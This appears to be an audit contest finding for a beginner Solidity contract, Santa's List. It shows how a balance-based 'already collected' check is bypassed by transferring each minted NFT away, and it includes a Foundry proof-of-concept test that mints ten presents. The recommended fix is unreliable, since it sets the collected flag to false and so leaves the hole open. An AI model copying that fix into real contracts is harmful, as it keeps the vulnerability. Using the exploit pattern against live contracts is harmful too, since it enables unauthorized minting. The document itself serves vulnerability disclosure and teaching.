First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Eligible users can collect as many presents as they want

dianivanov

Summary

The collectPresent function in the SantasList.sol contract relies on the caller's balance for eligibility checks. However, this approach can be exploited by transferring NFTs to another address, allowing repeated collection of presents, bypassing the intended one-time collection limit.

Vulnerability Details

Because of this check in "collectPresent" the present can be collected more than once:

if (balanceOf(msg.sender) > 0) {
revert SantasList__AlreadyCollected();
}

If you add this test to the SantaListTest.sol it will pass, but it shouldn't:

function test_attack_letNiceOrExtraNiceUsersCollectManyPresents() public {
//Make a random address, potentially molicious
address attacker = makeAddr("randomAddress");
address attackerSecondAddress = makeAddr("attackerSecondAddress");
​
//Santa is checking a user to be EXTRA_NICE
vm.startPrank(santa);
santasList.checkList(attacker, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(attacker, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
​
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
​
​
//An attacker "collectPresent", transfer the newly minted NFT to another address
//and collect another present
uint256 numberOfPresentsWanted = 10;
vm.startPrank(attacker);
for(uint256 i=0;i<numberOfPresentsWanted;i++) {
santasList.collectPresent();
//here we can easily predict the id of the token
//but on mainnet s_tokenCounter can be checked as anything in blockchain in public
//also the attacker can use the emitted event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
//to easily get the tokenId
santasList.safeTransferFrom(attacker, attackerSecondAddress, i);
}
​
//The attacker has an address with 10 NFT
assertEq(santasList.balanceOf(attackerSecondAddress), numberOfPresentsWanted);
//The attacker has an address with 1e18 * 10 tokens
assertEq(santaToken.balanceOf(attacker), 1e18 * 10);
vm.stopPrank();
}

Impact

A malicious user can mint(collect presents) as many NFTs as he wants.

Tools Used

Manual inspection & Foundry testing

Recommendations

Add a mapping where you can store the addresses which has collected presents:

mapping(address person => bool) private s_personCollectedPresent;

Make following changes when a present is collected via "collectPresent":

function collectPresent() external {
if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) {
revert SantasList__NotChristmasYet();
}
​
​
// replace the previous balance checks with this one
if (s_personCollectedPresent[msg.sender] == true) {
revert SantasList__AlreadyCollected();
}
s_personCollectedPresent[msg.sender] = false;
​
​
if (s_theListCheckedOnce[msg.sender] == Status.NICE && s_theListCheckedTwice[msg.sender] == Status.NICE) {
_mintAndIncrement();
return;
} else if (
s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE
&& s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE
) {
_mintAndIncrement();
i_santaToken.mint(msg.sender);
return;
}
revert SantasList__NotNice();
}
​
Updates

Lead Judging Commences

inallhonesty Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Already Collected Check

Relying on balanceOf > 0 in collectPresent() allows the msg.sender to send their present to another address and then collect again.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.